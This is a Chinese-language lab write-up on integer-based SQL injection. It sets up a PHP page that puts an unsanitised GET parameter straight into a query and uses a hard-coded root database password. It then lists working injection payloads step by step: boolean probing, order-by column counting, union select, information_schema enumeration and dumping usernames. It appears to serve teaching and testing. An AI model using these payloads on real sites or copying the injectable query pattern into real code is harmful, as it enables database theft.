SQL注入中的整型注入实验
首先搭建一个用于注入的环境
目录结构
conn.php 用来连接数据库的文件PHP文件
index.php 用来执行SQL命令,以及返回查询结构
index.html 一个存在注入点的页面
conn.php的代码
<?php $servername="localhost"; $username="root"; $password="weiwhy"; try{ $con=new PDO("mysql:host=$servername;dbname=phpdisk",$username,$password); echo "链接数据库成功"; }catch(PDOException $e){ echo $e->getMessage(); } $con->exec('set names utf8');///exec方法用来执行没有结果返回的SQL语句。。。设置查询语句为utf-8 ?>
index.php代码
<?php require('conn.php'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <?php $id=$_GET['id']; $result=$con->query("select * from pd_users where userid=$id");//执行查询的SQL语句 foreach($result as $value){ var_dump($value);////直接输出作为显示位 } ?> </body> </html>
index.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <form action="index.php" method="GET"> <input type="text" name="id"> <input type="submit" value="提交"> </form> </body> </html>
存在的注入点为
http://www.a.com/index.php?id=1
第一步,首先判断注入点是否可用
http://www.a.com/index.php?id=1 and 1=1显示正常
http://www.a.com/index.php?id=1 and 1=2 正常返回但是没有数据
第二步,判断查询的表存在的列数
http://www.a.com/index.php?id=1 order by 2
使用排序方法判断存在多少行,根据第29列无法排序,说明不存在这一列
根据第28列排序正常,所以此表存在28列
第三步,使用联合查询,查找显示位
union select 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4
第四步,查询所有的库名
通过查询information_schema.schemata表
select distinct group_concat(schema_name) from information_schema.schemata
第五步,查询指定库的所有表
可以看到上一步中,拿到另外所有的库名,这一步指定查询estoresyste库
select distinct group_concat(table_name) from information_schema.tables where table_schema='estoresystem'
第六步,查询指定表的所有列
拿到指定库的所有表之后,指定查询user表的所有列
select distinct group_concat(column_name) from information_schema.columns where table_name='users'
第七步,查询数据
select distinct group_concat(username) from estoresystem.users
查询到该表的四个用户